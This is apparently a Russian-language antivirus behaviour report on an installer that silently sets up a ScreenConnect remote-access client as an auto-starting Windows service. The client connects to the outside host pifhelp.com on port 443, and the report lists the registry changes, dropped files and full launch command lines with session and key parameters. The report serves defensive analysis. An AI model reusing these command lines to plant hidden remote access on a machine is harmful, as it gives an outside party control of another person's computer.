Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKLM>\SOFTWARE\Classes\sc-23f9320cb2356266\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (23f9320cb2356266)\ScreenConnect.WindowsClient.exe" "%1"'
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\ScreenConnect Client (04ae69b2-ba70-495b-baf1-55907c25a9a2)] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ScreenConnect Client (04ae69b2-ba70-495b-baf1-55907c25a9a2)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (23f9320cb2356266)\ScreenConnect....
Создает следующие сервисы
- 'ScreenConnect Client (04ae69b2-ba70-495b-baf1-55907c25a9a2)' "%ProgramFiles(x86)%\ScreenConnect Client (23f9320cb2356266)\ScreenConnect.ClientService.exe" "?y=Guest&h=pifhelp.com&p=443&s=04ae69b2-ba70-495b-baf1-55907c25a9a2&k=BgIAAACkAABSU0ExAAgAAAEAAQDR...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\setup.msi
- %ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\client.en-us.resources
- %ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\client.override.resources
- %ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\client.override.en-us.resources
- %ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\screenconnect.clientservice.exe
- %ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\screenconnect.windowsclient.exe.config
- %ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\screenconnect.windowsclient.exe
- %ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\screenconnect.windows.dll
- %ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\screenconnect.core.dll
- %ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\screenconnect.clientservice.dll
- %ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\screenconnect.client.dll
- %TEMP%\msieb29.tmp-\customaction.config
- %TEMP%\msieb29.tmp-\screenconnect.core.dll
- %TEMP%\msieb29.tmp-\microsoft.deployment.windowsinstaller.dll
- %TEMP%\msieb29.tmp-\screenconnect.installeractions.dll
- %TEMP%\msieb29.tmp
- %ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\client.resources
- %WINDIR%\installer\{ab010a70-7151-4849-93e7-2e5be4d7d9e2}\defaulticon
Удаляет следующие файлы
- %TEMP%\msieb29.tmp-\customaction.config
- %TEMP%\msieb29.tmp-\microsoft.deployment.windowsinstaller.dll
- %TEMP%\msieb29.tmp-\screenconnect.core.dll
- %TEMP%\msieb29.tmp-\screenconnect.installeractions.dll
- %TEMP%\msieb29.tmp
Сетевая активность
Подключается к
- 'pi##elp.com':443
UDP
- DNS ASK pi##elp.com
Другое
Создает и запускает на исполнение
- '%ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\screenconnect.windowsclient.exe' "Rerun" "?y=Guest&h=pifhelp.com&p=443&s=04ae69b2-ba70-495b-baf1-55907c25a9a2&k=BgIAAACkAABSU0ExAAgAAAEAAQDRoAKCb7r3wTddEBI6NMLZI5krc0%2fqihl0qok3ANriQpjeVCoNTu8kFgtdpYUUhCT88RDTHR0IT8Reo4S%2fQ1...
- '%ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\screenconnect.windowsclient.exe' "?y=Guest&h=pifhelp.com&p=443&s=04ae69b2-ba70-495b-baf1-55907c25a9a2&k=BgIAAACkAABSU0ExAAgAAAEAAQDRoAKCb7r3wTddEBI6NMLZI5krc0%2fqihl0qok3ANriQpjeVCoNTu8kFgtdpYUUhCT88RDTHR0IT8Reo4S%2fQ18Glmopt2...
- '%ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\screenconnect.clientservice.exe' "?y=Guest&h=pifhelp.com&p=443&s=04ae69b2-ba70-495b-baf1-55907c25a9a2&k=BgIAAACkAABSU0ExAAgAAAEAAQDRoAKCb7r3wTddEBI6NMLZI5krc0%2fqihl0qok3ANriQpjeVCoNTu8kFgtdpYUUhCT88RDTHR0IT8Reo4S%2fQ18Glmopt2...
- '%ProgramFiles(x86)%\screenconnect client (23f9320cb2356266)\screenconnect.windowsclient.exe' "RunRole" "cfe13cd7-a5af-4167-8281-7e920025a224" "User"
Запускает на исполнение
- '%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
- '%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSIEB29.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_1043880 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
